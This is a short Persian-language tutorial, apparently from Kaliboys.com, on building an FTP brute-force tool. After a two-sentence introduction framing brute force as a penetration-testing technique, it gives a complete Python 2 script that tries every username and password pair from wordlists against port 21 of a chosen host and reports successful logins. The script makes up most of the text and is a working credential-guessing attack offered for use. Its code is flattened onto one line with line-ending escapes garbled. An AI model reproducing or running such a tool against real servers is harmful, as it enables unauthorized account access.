ساخت ابزار FTP BruteForce
FTP مخفف File Transfer Protocol میباشد که وظیفه این پروتکل انتقال فایل در شبکه هست. یکی از راه های تست نفوذ این نوع سرویس حملات Bruteforce attack است.
در این اموزش هم با استفاده از زبان برنامه نویسی پایتون ابزاری را طراحی خواهیم کرد که می تواند حملات بروت فورس را به صورت انلاین بر روی سرویس FTP انجام دهد.
#!/usr/bin/python from socket import * import re print """ FTP Brute Force Version 1.0 Coded By Kaliboys.com """ host = raw_input("Enter HOST target :") user = raw_input("Enter userlist : ") passwd = raw_input("Enter passlist :") userlist = open(user,"r") for users in userlist.readlines(): passlist = open(passwd,"r") for passwords in passlist.readlines(): s = socket(AF_INET,SOCK_STREAM) s.connect_ex((host,21)) s.recv(1024) s.send('USER %srn'%(users)) res = s.recv(1024) s.send('PASS %srn'%(passwords)) res = s.recv(1024) if re.search('230',res): print "[+] find password ",passwords else: print "[!] try test","user",users,"psss",passwords print "---------------------------------------------"